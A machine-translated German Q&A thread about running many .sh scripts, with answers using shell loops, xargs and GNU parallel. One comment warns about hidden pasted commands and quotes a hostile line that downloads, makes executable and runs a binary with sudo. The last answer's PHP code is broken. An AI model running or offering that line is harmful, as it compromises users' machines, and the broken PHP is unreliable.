Ausführen eines Verzeichnisses voller .sh-Dateien mit einem Befehl

7

Ich habe ein Verzeichnis mit vielen .sh-Dateien, die alle beim Ausführen ein Terminal öffnen und einen youtube-dl-Download starten. Da es so viele gibt, hatte ich gehofft, einen Weg zu finden, sie alle gleichzeitig zu aktivieren und sofort mehrere verschiedene Terminals zu öffnen, anstatt sie alle separat auszuführen. Ich bin noch sehr neu in der Programmierung, daher bin ich mir nicht ganz sicher, wie ich das machen soll und ob ich ein Skript erstellen kann, um sie alle auszuführen, einen Befehl zu verwenden usw. Jede Hilfe ist willkommen, danke.

Bencc
quelle
Bitte beachte, dass du viele URLs an Youtube-dl übergeben kannst und diese nacheinander heruntergeladen werden. Oder Sie können alle Befehle nacheinander hinzufügen.
Andrea Lazzarotto
1
Sie können GNU parallel zu verwenden ls | parallel.
eckes
Manchmal können Sie ein Makefile verwenden, um Dateien aus Rezepten zu erstellen. make -jführt Jobs parallel aus.
JFS

Antworten:

10

Während Sie in der Tat alle ausführen können .shDateien in einem Verzeichnis mit einer for - Schleife wie vorgeschlagen von Yaron, das ist wirklich ein über komplexen Ansatz. Schreiben Sie nicht viele Skripte, wenn der einzige Unterschied zwischen ihnen die RL ist, die sie herunterladen werden! Und es gibt absolut keinen Grund, für jeden von ihnen ein Terminalfenster zu erzeugen!

Schreiben Sie stattdessen Ihre YouTube-URLs in eine Datei, eine pro Zeile:

http://youtube.com/foo
http://youtube.com/bar
http://youtube.com/baz

Verwenden Sie dann zum Herunterladen ( fileist der Name der Datei mit den URLs):

while read url; do
    youtube-dl "$url"
done < file

Dadurch wird jedes Video in der Datei nacheinander heruntergeladen. Wenn Sie alle gleichzeitig herunterladen möchten (keine gute Idee, wenn Sie zu viele haben), können Sie jeden Download-Befehl im Hintergrund ausführen, indem Sie Folgendes hinzufügen &:

while read url; do
    youtube-dl "$url" &
done < file
Terdon
quelle
Der Grund, warum ich sie alle in verschiedenen .sh-Dateien habe, ist, dass ich sie vom Kanal herunterlade und jeder heruntergeladene Kanal in ein eigenes Verzeichnis mit einer eigenen archive.txt-Datei verschoben wird. Die .sh-Datei gibt an, wohin die Downloads gehen und wie die Archivdatei usw. benannt werden soll
Bencc
5
@Bencc all das wäre besser in einem einzigen Skript als in vielen. Ich sage nur, dass Sie Ihr Leben viel komplizierter machen als nötig. Sie können jederzeit eine neue Frage stellen, die ein Beispiel für eines Ihrer Skripte enthält, und wir können Ihnen zeigen, wie Sie sie zu einem einzigen Skript kombinieren können.
Terdon
1
Auch youtube-dlakzeptiert mehrere URLs als Argumente , so dass keine Schleife ist notwendig. :)
Andrea Lazzarotto
5
Noch besser, youtube-dlkann URLs aus einer Datei lesen : youtube-dl -a my-url-list.txt. Alternativ können Sie die URL-Liste in youtube-dldie Befehlszeile einfügen : xargs youtube-dl < my-url-list.txt.
David Foerster
Vielen Dank für den Rat, ich werde einen neuen Beitrag verfassen und ein Beispiel für mein Skript geben, damit ich sie alle wie von Terdon vorgeschlagen kombinieren kann.
Bencc
2

Beachten Sie, dass die Dateien ausführbar sein sollten. Möglicherweise möchten Sie den folgenden Befehl in dem Verzeichnis ausführen, in dem sich die .shDateien befinden, bevor Sie das obige Skript ausführen :

chmod +x *.sh

Das folgende Skript nimmt alle Dateien auf .shund führt sie aus.

#/bin/bash
for shfile in *.sh
do
    ./$shfile
done

Sie können die obigen Zeilen (ohne die erste Zeile #/bin/bash) in Ihr Terminal kopieren / einfügen , und es wird den Trick tun (danke @terdon für Ihren Kommentar).

Sie können dieses Skript in einem anderen Ordner speichern (z. B. /tmp/execute_all.shausführen:

chmod +x /tmp/execute_all.sh

Gehen Sie dann in das Verzeichnis mit den .shDateien und führen Sie das Skript aus mit:

/tmp/execute_all.sh

Das Skript versucht, alle Dateien auszuführen, die mit enden .sh

Yaron
quelle
2
Es gibt keinen Grund, dafür ein Skript zu verwenden. Kopieren Sie einfach die for-Schleife direkt in ein Terminal.
Terdon
@terdon - danke für den Kommentar! Ich bin damit einverstanden, dass diese 4 Zeilen vom Terminal ausgeführt werden können. Ich nahm an, dass es möglicherweise einfacher ist, den Befehl als Skript auszuführen, anstatt ihn zu kopieren und einzufügen.
Yaron
1
@terdon Es kann auch nützlich sein, sicherzustellen, dass niemand jemals aus dem Internet direkt in ein Terminal kopiert und einfügt . Es ist wirklich einfach, ein <span>oder zwei unsichtbare Elemente in den Codeblock und curl virus.txt>evil.bin;chmod +x evil.bin;sudo ./evil.binauf den Computer des Benutzers einzufügen.
wizzwizz4
@ wizzwizz4 ist das überhaupt in einem Codeblock möglich? HTML-Tags werden nicht gerendert, da Codeblöcke in <pre>Tags eingeschlossen sind .
Terdon
@terdon Es ist keine technische Möglichkeit bei Stack Exchange, aber: es ist ein allgemeiner Rat; Jede Stelle kann geknackt werden. es ist noch einfacher zu spiegeln; Viele Leute sind es gewohnt, zu kopieren und einzufügen, also würden sie nicht einmal daran denken, es in ein Terminal zu tun. usw.
wizzwizz4
1

Ich habe festgestellt, dass einige Video-Sites nicht sehr stabil sind und ich den Download mehrmals wiederholen muss. GNU Parallel kann das:

cat urls.txt | parallel --retries 50 --timeout 1000% --joblog +my.log youtube-dl

Dadurch wird ein Job pro CPU-Kern ausgeführt und 50 Mal versucht, wenn der Download fehlschlägt. Jobs werden beendet, die 10 länger als die mittlere Laufzeit dauern (z. B. wenn der Download nicht funktioniert). Es wird auch an die Datei angehängt, my.logsodass Sie den Status jedes Jobs sehen können.

Ole Tange
quelle
0

Wenn das Programm webbasiert ist, dh für Linux, versuchen Sie, eine PHP-Datei zu erstellen, um die Shell zu verarbeiten. und eine Shell-Datei, um die PHP zu behandeln ..

Beispiel: Die Datei runAllShell.php kann eine Schleife enthalten:

<?php
// Developed by A T.
// Count the files
$directory = '/put/directory/path_here/';
$files = glob($directory . '*.*');

if ( $files !== false )
{
    $filecounter = count( $files );

}
else
{
    echo "No Files were found";
}
$fileCount = $filecounter;

// Start the index
$fileNumber = 1;
while($fileNumber <= fileCount){
shell_exec('$fileNumber . ".sh"');
// get some feedback
echo "The ".$fileNumber." file has been excecuted";
// increment file number
$fileNumber++;

}
?>

Stellen Sie sicher, dass alle .sh-Dateien im Verzeichnis numerisch sortiert sind, damit dies funktioniert, dh: 1.sh 2.sh 3.sh und so weiter.

StarShows Studios
quelle